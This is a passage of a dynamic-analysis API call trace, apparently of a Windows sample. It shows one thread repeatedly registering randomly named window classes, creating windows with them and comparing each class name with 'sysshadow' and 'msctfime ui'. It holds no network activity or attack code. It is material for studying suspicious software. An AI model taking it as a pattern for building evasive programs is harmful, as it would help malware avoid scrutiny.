lpClassName="Hma", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.720] GetCurrentThreadId () returned 0xee0 [0051.720] GetClassNameA (in: hWnd=0x10372, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Hma") returned 3 [0051.721] _strcmpi (_Str1="Hma", _Str2="sysshadow") returned -11 [0051.721] _strcmpi (_Str1="Hma", _Str2="msctfime ui") returned -5 [0051.721] __fnINLPCREATESTRUCT () [0051.721] GetCurrentThreadId () returned 0xee0 [0051.721] GetClassNameA (in: hWnd=0x10372, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Hma") returned 3 [0051.721] _strcmpi (_Str1="Hma", _Str2="sysshadow") returned -11 [0051.721] _strcmpi (_Str1="Hma", _Str2="msctfime ui") returned -5 [0051.721] __fnINLPCREATESTRUCT () [0051.721] RegisterClassA (lpWndClass=0x261fae0) returned 0x4e0004c1f2 [0051.721] CreateWindowExA (dwExStyle=0x4, lpClassName="Brkkpu", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.721] GetCurrentThreadId () returned 0xee0 [0051.721] GetClassNameA (in: hWnd=0x10374, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Brkkpu") returned 6 [0051.721] _strcmpi (_Str1="Brkkpu", _Str2="sysshadow") returned -17 [0051.721] _strcmpi (_Str1="Brkkpu", _Str2="msctfime ui") returned -11 [0051.721] __fnINLPCREATESTRUCT () [0051.721] GetCurrentThreadId () returned 0xee0 [0051.721] GetClassNameA (in: hWnd=0x10374, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Brkkpu") returned 6 [0051.721] _strcmpi (_Str1="Brkkpu", _Str2="sysshadow") returned -17 [0051.721] _strcmpi (_Str1="Brkkpu", _Str2="msctfime ui") returned -11 [0051.721] __fnINLPCREATESTRUCT () [0051.721] RegisterClassA (lpWndClass=0x261fae0) returned 0x3e0003c1f3 [0051.721] CreateWindowExA (dwExStyle=0x4, lpClassName="Ymr", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.721] GetCurrentThreadId () returned 0xee0 [0051.721] GetClassNameA (in: hWnd=0x10376, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ymr") returned 3 [0051.721] _strcmpi (_Str1="Ymr", _Str2="sysshadow") returned 6 [0051.721] _strcmpi (_Str1="Ymr", _Str2="msctfime ui") returned 12 [0051.721] __fnINLPCREATESTRUCT () [0051.721] GetCurrentThreadId () returned 0xee0 [0051.722] GetClassNameA (in: hWnd=0x10376, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ymr") returned 3 [0051.722] _strcmpi (_Str1="Ymr", _Str2="sysshadow") returned 6 [0051.722] _strcmpi (_Str1="Ymr", _Str2="msctfime ui") returned 12 [0051.722] __fnINLPCREATESTRUCT () [0051.722] RegisterClassA (lpWndClass=0x261fae0) returned 0x520002c1f4 [0051.722] CreateWindowExA (dwExStyle=0x4, lpClassName="Qegtgs", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.722] GetCurrentThreadId () returned 0xee0 [0051.722] GetClassNameA (in: hWnd=0x10378, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Qegtgs") returned 6 [0051.722] _strcmpi (_Str1="Qegtgs", _Str2="sysshadow") returned -2 [0051.722] _strcmpi (_Str1="Qegtgs", _Str2="msctfime ui") returned 4 [0051.722] __fnINLPCREATESTRUCT () [0051.722] GetCurrentThreadId () returned 0xee0 [0051.722] GetClassNameA (in: hWnd=0x10378, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Qegtgs") returned 6 [0051.722] _strcmpi (_Str1="Qegtgs", _Str2="sysshadow") returned -2 [0051.722] _strcmpi (_Str1="Qegtgs", _Str2="msctfime ui") returned 4 [0051.722] __fnINLPCREATESTRUCT () [0051.722] RegisterClassA (lpWndClass=0x261fae0) returned 0x560004c1f5 [0051.722] CreateWindowExA (dwExStyle=0x4, lpClassName="Clya", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.722] GetCurrentThreadId () returned 0xee0 [0051.722] GetClassNameA (in: hWnd=0x1037a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Clya") returned 4 [0051.722] _strcmpi (_Str1="Clya", _Str2="sysshadow") returned -16 [0051.722] _strcmpi (_Str1="Clya", _Str2="msctfime ui") returned -10 [0051.722] __fnINLPCREATESTRUCT () [0051.722] GetCurrentThreadId () returned 0xee0 [0051.722] GetClassNameA (in: hWnd=0x1037a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Clya") returned 4 [0051.722] _strcmpi (_Str1="Clya", _Str2="sysshadow") returned -16 [0051.722] _strcmpi (_Str1="Clya", _Str2="msctfime ui") returned -10 [0051.722] __fnINLPCREATESTRUCT () [0051.723] RegisterClassA (lpWndClass=0x261fae0) returned 0x5a0002c1f6 [0051.723] CreateWindowExA (dwExStyle=0x4, lpClassName="Tryhq", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.723] GetCurrentThreadId () returned 0xee0 [0051.723] GetClassNameA (in: hWnd=0x1037c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Tryhq") returned 5 [0051.723] _strcmpi (_Str1="Tryhq", _Str2="sysshadow") returned 1 [0051.723] _strcmpi (_Str1="Tryhq", _Str2="msctfime ui") returned 7 [0051.723] __fnINLPCREATESTRUCT () [0051.723] GetCurrentThreadId () returned 0xee0 [0051.723] GetClassNameA (in: hWnd=0x1037c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Tryhq") returned 5 [0051.723] _strcmpi (_Str1="Tryhq", _Str2="sysshadow") returned 1 [0051.723] _strcmpi (_Str1="Tryhq", _Str2="msctfime ui") returned 7 [0051.723] __fnINLPCREATESTRUCT () [0051.723] RegisterClassA (lpWndClass=0x261fae0) returned 0x5e0004c1f7 [0051.723] CreateWindowExA (dwExStyle=0x4, lpClassName="Potr", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.723] GetCurrentThreadId () returned 0xee0 [0051.723] GetClassNameA (in: hWnd=0x1037e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Potr") returned 4 [0051.723] _strcmpi (_Str1="Potr", _Str2="sysshadow") returned -3 [0051.723] _strcmpi (_Str1="Potr", _Str2="msctfime ui") returned 3 [0051.723] __fnINLPCREATESTRUCT () [0051.723] GetCurrentThreadId () returned 0xee0 [0051.723] GetClassNameA (in: hWnd=0x1037e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Potr") returned 4 [0051.723] _strcmpi (_Str1="Potr", _Str2="sysshadow") returned -3 [0051.723] _strcmpi (_Str1="Potr", _Str2="msctfime ui") returned 3 [0051.723] __fnINLPCREATESTRUCT () [0051.723] RegisterClassA (lpWndClass=0x261fae0) returned 0x420002c1f8 [0051.723] CreateWindowExA (dwExStyle=0x4, lpClassName="Ijq", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.724] GetCurrentThreadId () returned 0xee0 [0051.724] GetClassNameA (in: hWnd=0x10380, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ijq") returned 3 [0051.724] _strcmpi (_Str1="Ijq", _Str2="sysshadow") returned -10 [0051.724] _strcmpi (_Str1="Ijq", _Str2="msctfime ui") returned -4 [0051.724] __fnINLPCREATESTRUCT () [0051.724] GetCurrentThreadId () returned 0xee0 [0051.724] GetClassNameA (in: hWnd=0x10380, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ijq") returned 3 [0051.724] _strcmpi (_Str1="Ijq", _Str2="sysshadow") returned -10 [0051.724] _strcmpi (_Str1="Ijq", _Str2="msctfime ui") returned -4 [0051.724] __fnINLPCREATESTRUCT () [0051.724] RegisterClassA (lpWndClass=0x261fae0) returned 0x620002c1f9 [0051.724] CreateWindowExA (dwExStyle=0x4, lpClassName="Tdpchh", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.724] GetCurrentThreadId () returned 0xee0 [0051.724] GetClassNameA (in: hWnd=0x10382, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Tdpchh") returned 6 [0051.724] _strcmpi (_Str1="Tdpchh", _Str2="sysshadow") returned 1 [0051.724] _strcmpi (_Str1="Tdpchh", _Str2="msctfime ui") returned 7 [0051.724] __fnINLPCREATESTRUCT () [0051.724] GetCurrentThreadId () returned 0xee0 [0051.724] GetClassNameA (in: hWnd=0x10382, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Tdpchh") returned 6 [0051.724] _strcmpi (_Str1="Tdpchh", _Str2="sysshadow") returned 1 [0051.724] _strcmpi (_Str1="Tdpchh", _Str2="msctfime ui") returned 7 [0051.724] __fnINLPCREATESTRUCT () [0051.724] RegisterClassA (lpWndClass=0x261fae0) returned 0x660004c1fa [0051.724] CreateWindowExA (dwExStyle=0x4, lpClassName="Rdkrs", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.724] GetCurrentThreadId () returned 0xee0 [0051.724] GetClassNameA (in: hWnd=0x10384, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Rdkrs") returned 5 [0051.724] _strcmpi (_Str1="Rdkrs", _Str2="sysshadow") returned -1 [0051.724] __fnINLPCREATESTRUCT () [0051.725] GetCurrentThreadId () returned 0xee0 [0051.725] GetClassNameA (in: hWnd=0x10384, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Rdkrs") returned 5 [0051.725] __fnINLPCREATESTRUCT () [0051.725] RegisterClassA (lpWndClass=0x261fae0) returned 0x6a0002c1fb [0051.725] CreateWindowExA (dwExStyle=0x4, lpClassName="Vkzyiz", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.725] GetCurrentThreadId () returned 0xee0 [0051.725] GetClassNameA (in: hWnd=0x10386, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Vkzyiz") returned 6 [0051.725] __fnINLPCREATESTRUCT () [0051.725] GetCurrentThreadId () returned 0xee0 [0051.725] GetClassNameA (in: hWnd=0x10386, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Vkzyiz") returned 6 [0051.725] __fnINLPCREATESTRUCT () [0051.725] RegisterClassA (lpWndClass=0x261fae0) returned 0x6e0004c1fc [0051.725] CreateWindowExA (dwExStyle=0x4, lpClassName="Ffdu", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.725] GetCurrentThreadId () returned 0xee0 [0051.725] GetClassNameA (in: hWnd=0x10388, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ffdu") returned 4 [0051.725] __fnINLPCREATESTRUCT () [0051.725] GetCurrentThreadId () returned 0xee0 [0051.725] GetClassNameA (in: hWnd=0x10388, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ffdu") returned 4 [0051.725] __fnINLPCREATESTRUCT () [0051.725] RegisterClassA (lpWndClass=0x261fae0) returned 0x720002c1fd [0051.725] CreateWindowExA (dwExStyle=0x4, lpClassName="Wdcqtm", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.725] GetCurrentThreadId () returned 0xee0 [0051.725] GetClassNameA (in: hWnd=0x1038a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Wdcqtm") returned 6 [0051.725] __fnINLPCREATESTRUCT () [0051.726] GetCurrentThreadId () returned 0xee0 [0051.726] GetClassNameA (in: hWnd=0x1038a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Wdcqtm") returned 6 [0051.726] __fnINLPCREATESTRUCT () [0051.726] RegisterClassA (lpWndClass=0x261fae0) returned 0x760004c1fe [0051.726] CreateWindowExA (dwExStyle=0x4, lpClassName="Iamky", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.726] GetCurrentThreadId () returned 0xee0 [0051.726] GetClassNameA (in: hWnd=0x1038c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Iamky") returned 5 [0051.726] __fnINLPCREATESTRUCT () [0051.726] GetCurrentThreadId () returned 0xee0 [0051.726] GetClassNameA (in: hWnd=0x1038c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Iamky") returned 5 [0051.726] __fnINLPCREATESTRUCT () [0051.726] RegisterClassA (lpWndClass=0x261fae0) returned 0x460003c1ff [0051.726] CreateWindowExA (dwExStyle=0x4, lpClassName="Yux", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.726] GetCurrentThreadId () returned 0xee0 [0051.726] GetClassNameA (in: hWnd=0x1038e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Yux") returned 3 [0051.726] __fnINLPCREATESTRUCT () [0051.726] GetCurrentThreadId () returned 0xee0 [0051.726] GetClassNameA (in: hWnd=0x1038e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Yux") returned 3 [0051.726] __fnINLPCREATESTRUCT () [0051.726] RegisterClassA (lpWndClass=0x261fae0) returned 0x4a0002c201 [0051.727] CreateWindowExA (dwExStyle=0x4, lpClassName="Cus", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.727] GetCurrentThreadId () returned 0xee0 [0051.727] GetClassNameA (in: hWnd=0x10390, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Cus") returned 3 [0051.727] __fnINLPCREATESTRUCT () [0051.727] GetCurrentThreadId () returned 0xee0 [0051.727] GetClassNameA (in: hWnd=0x10390, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Cus") returned 3 [0051.727] __fnINLPCREATESTRUCT () [0051.727] RegisterClassA (lpWndClass=0x261fae0) returned 0x7a0002c202 [0051.727] CreateWindowExA (dwExStyle=0x4, lpClassName="Rjsl", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.727] GetCurrentThreadId () returned 0xee0 [0051.727] GetClassNameA (in: hWnd=0x10392, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Rjsl") returned 4 [0051.727] __fnINLPCREATESTRUCT () [0051.728] GetCurrentThreadId () returned 0xee0 [0051.728] GetClassNameA (in: hWnd=0x10392, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Rjsl") returned 4 [0051.728] __fnINLPCREATESTRUCT () [0051.728] RegisterClassA (lpWndClass=0x261fae0) returned 0x4e0003c203 [0051.728] CreateWindowExA (dwExStyle=0x4, lpClassName="Ztu", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.728] GetCurrentThreadId () returned 0xee0 [0051.728] GetClassNameA (in: hWnd=0x10394, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ztu") returned 3 [0051.728] __fnINLPCREATESTRUCT () [0051.728] GetCurrentThreadId () returned 0xee0 [0051.728] GetClassNameA (in: hWnd=0x10394, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ztu") returned 3 [0051.728] __fnINLPCREATESTRUCT () [0051.728] RegisterClassA (lpWndClass=0x261fae0) returned 0x7e0004c204 [0051.728] CreateWindowExA (dwExStyle=0x4, lpClassName="Fibp", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.728] GetCurrentThreadId () returned 0xee0 [0051.728] GetClassNameA (in: hWnd=0x10396, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Fibp") returned 4 [0051.728] __fnINLPCREATESTRUCT () [0051.728] GetCurrentThreadId () returned 0xee0 [0051.728] GetClassNameA (in: hWnd=0x10396, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Fibp") returned 4 [0051.728] __fnINLPCREATESTRUCT () [0051.728] RegisterClassA (lpWndClass=0x261fae0) returned 0x820002c205 [0051.728] CreateWindowExA (dwExStyle=0x4, lpClassName="Szweos", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.728] GetCurrentThreadId () returned 0xee0 [0051.728] GetClassNameA (in: hWnd=0x10398, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Szweos") returned 6 [0051.728] __fnINLPCREATESTRUCT () [0051.729] GetCurrentThreadId () returned 0xee0 [0051.729] GetClassNameA (in: hWnd=0x10398, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Szweos") returned 6 [0051.729] __fnINLPCREATESTRUCT () [0051.729] RegisterClassA (lpWndClass=0x261fae0) returned 0x860004c206 [0051.729] CreateWindowExA (dwExStyle=0x4, lpClassName="Kfwrii", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.729] GetCurrentThreadId () returned 0xee0 [0051.729] GetClassNameA (in: hWnd=0x1039a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Kfwrii") returned 6 [0051.729] __fnINLPCREATESTRUCT () [0051.729] GetCurrentThreadId () returned 0xee0 [0051.729] GetClassNameA (in: hWnd=0x1039a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Kfwrii") returned 6 [0051.729] __fnINLPCREATESTRUCT () [0051.729] RegisterClassA (lpWndClass=0x261fae0) returned 0x8a0002c207 [0051.729] CreateWindowExA (dwExStyle=0x4, lpClassName="Koqgzg", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.729] GetCurrentThreadId () returned 0xee0 [0051.729] GetClassNameA (in: hWnd=0x1039c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Koqgzg") returned 6 [0051.729] __fnINLPCREATESTRUCT () [0051.729] GetCurrentThreadId () returned 0xee0 [0051.729] GetClassNameA (in: hWnd=0x1039c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Koqgzg") returned 6 [0051.729] __fnINLPCREATESTRUCT () [0051.729] RegisterClassA (lpWndClass=0x261fae0) returned 0x8e0004c208 [0051.729] CreateWindowExA (dwExStyle=0x4, lpClassName="Stxby", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.729] GetCurrentThreadId () returned 0xee0 [0051.729] GetClassNameA (in: hWnd=0x1039e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Stxby") returned 5 [0051.729] __fnINLPCREATESTRUCT () [0051.730] GetCurrentThreadId () returned 0xee0 [0051.730] GetClassNameA (in: hWnd=0x1039e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Stxby") returned 5 [0051.730] __fnINLPCREATESTRUCT () [0051.730] RegisterClassA (lpWndClass=0x261fae0) returned 0x920002c209 [0051.730] CreateWindowExA (dwExStyle=0x4, lpClassName="Nyuxkc", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.730] GetCurrentThreadId () returned 0xee0 [0051.730] GetClassNameA (in: hWnd=0x103a0, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Nyuxkc") returned 6 [0051.730] __fnINLPCREATESTRUCT () [0051.730] GetCurrentThreadId () returned 0xee0 [0051.730] GetClassNameA (in: hWnd=0x103a0, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Nyuxkc") returned 6 [0051.730] __fnINLPCREATESTRUCT () [0051.730] RegisterClassA (lpWndClass=0x261fae0) returned 0x960004c20a [0051.730] CreateWindowExA (dwExStyle=0x4, lpClassName="Xntsz", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.730] GetCurrentThreadId () returned 0xee0 [0051.730] GetClassNameA (in: hWnd=0x103a2, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Xntsz") returned 5 [0051.730] __fnINLPCREATESTRUCT () [0051.730] GetCurrentThreadId () returned 0xee0 [0051.730] GetClassNameA (in: hWnd=0x103a2, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Xntsz") returned 5 [0051.730] __fnINLPCREATESTRUCT () [0051.730] RegisterClassA (lpWndClass=0x261fae0) returned 0x9a0002c20b [0051.730] CreateWindowExA (dwExStyle=0x4, lpClassName="Fzlg", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.730] GetCurrentThreadId () returned 0xee0 [0051.730] GetClassNameA (in: hWnd=0x103a4, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Fzlg") returned 4 [0051.730] __fnINLPCREATESTRUCT () [0051.731] GetCurrentThreadId () returned 0xee0 [0051.731] GetClassNameA (in: hWnd=0x103a4, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Fzlg") returned 4 [0051.731] __fnINLPCREATESTRUCT () [0051.731] RegisterClassA (lpWndClass=0x261fae0) returned 0x9e0004c20c [0051.731] CreateWindowExA (dwExStyle=0x4, lpClassName="Hdui", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.731] GetCurrentThreadId () returned 0xee0 [0051.731] GetClassNameA (in: hWnd=0x103a6, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Hdui") returned 4 [0051.731] __fnINLPCREATESTRUCT () [0051.731] GetCurrentThreadId () returned 0xee0 [0051.731] GetClassNameA (in: hWnd=0x103a6, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Hdui") returned 4 [0051.731] __fnINLPCREATESTRUCT () [0051.731] RegisterClassA (lpWndClass=0x261fae0) returned 0xa20002c20d [0051.731] CreateWindowExA (dwExStyle=0x4, lpClassName="Qoch", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.731] GetCurrentThreadId () returned 0xee0 [0051.731] GetClassNameA (in: hWnd=0x103a8, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Qoch") returned 4 [0051.731] __fnINLPCREATESTRUCT () [0051.731] GetCurrentThreadId () returned 0xee0 [0051.731] GetClassNameA (in: hWnd=0x103a8, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Qoch") returned 4 [0051.731] __fnINLPCREATESTRUCT () [0051.731] RegisterClassA (lpWndClass=0x261fae0) returned 0x520002c20e [0051.731] CreateWindowExA (dwExStyle=0x4, lpClassName="Tks", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.731] GetCurrentThreadId () returned 0xee0 [0051.731] GetClassNameA (in: hWnd=0x103aa, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Tks") returned 3 [0051.731] __fnINLPCREATESTRUCT () [0051.731] GetCurrentThreadId () returned 0xee0 [0051.731] GetClassNameA (in: hWnd=0x103aa, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Tks") returned 3 [0051.732] __fnINLPCREATESTRUCT () [0051.732] RegisterClassA (lpWndClass=0x261fae0) returned 0xa60004c20f [0051.732] CreateWindowExA (dwExStyle=0x4, lpClassName="Ikbwl", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.732] GetCurrentThreadId () returned 0xee0 [0051.732] GetClassNameA (in: hWnd=0x103ac, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ikbwl") returned 5 [0051.732] __fnINLPCREATESTRUCT () [0051.732] GetCurrentThreadId () returned 0xee0 [0051.732] GetClassNameA (in: hWnd=0x103ac, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ikbwl") returned 5 [0051.732] __fnINLPCREATESTRUCT () [0051.732] RegisterClassA (lpWndClass=0x261fae0) returned 0x560003c210 [0051.732] CreateWindowExA (dwExStyle=0x4, lpClassName="Caw", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.732] GetCurrentThreadId () returned 0xee0 [0051.732] GetClassNameA (in: hWnd=0x103ae, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Caw") returned 3 [0051.732] __fnINLPCREATESTRUCT () [0051.732] GetCurrentThreadId () returned 0xee0 [0051.732] GetClassNameA (in: hWnd=0x103ae, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Caw") returned 3 [0051.732] __fnINLPCREATESTRUCT () [0051.732] RegisterClassA (lpWndClass=0x261fae0) returned 0xaa0002c211 [0051.732] CreateWindowExA (dwExStyle=0x4, lpClassName="Biqd", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.732] GetCurrentThreadId () returned 0xee0 [0051.732] GetClassNameA (in: hWnd=0x103b0, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Biqd") returned 4 [0051.732] __fnINLPCREATESTRUCT () [0051.733] GetCurrentThreadId () returned 0xee0 [0051.733] GetClassNameA (in: hWnd=0x103b0, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Biqd") returned 4 [0051.733] __fnINLPCREATESTRUCT () [0051.733] RegisterClassA (lpWndClass=0x261fae0) returned 0xae0004c212 [0051.733] CreateWindowExA (dwExStyle=0x4, lpClassName="Gyguj", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.733] GetCurrentThreadId () returned 0xee0 [0051.733] GetClassNameA (in: hWnd=0x103b2, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Gyguj") returned 5 [0051.733] __fnINLPCREATESTRUCT () [0051.733] GetCurrentThreadId () returned 0xee0 [0051.733] GetClassNameA (in: hWnd=0x103b2, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Gyguj") returned 5 [0051.733] __fnINLPCREATESTRUCT () [0051.733] RegisterClassA (lpWndClass=0x261fae0) returned 0xb20002c213 [0051.733] CreateWindowExA (dwExStyle=0x4, lpClassName="Cccuz", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.733] GetCurrentThreadId () returned 0xee0 [0051.733] GetClassNameA (in: hWnd=0x103b4, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Cccuz") returned 5 [0051.733] __fnINLPCREATESTRUCT () [0051.733] GetCurrentThreadId () returned 0xee0 [0051.733] GetClassNameA (in: hWnd=0x103b4, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Cccuz") returned 5 [0051.733] __fnINLPCREATESTRUCT () [0051.733] RegisterClassA (lpWndClass=0x261fae0) returned 0x5a0002c214 [0051.733] CreateWindowExA (dwExStyle=0x4, lpClassName="Cvi", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.733] GetCurrentThreadId () returned 0xee0 [0051.733] GetClassNameA (in: hWnd=0x103b6, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Cvi") returned 3 [0051.734] __fnINLPCREATESTRUCT () [0051.734] GetCurrentThreadId () returned 0xee0 [0051.734] GetClassNameA (in: hWnd=0x103b6, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Cvi") returned 3 [0051.734] __fnINLPCREATESTRUCT () [0051.734] 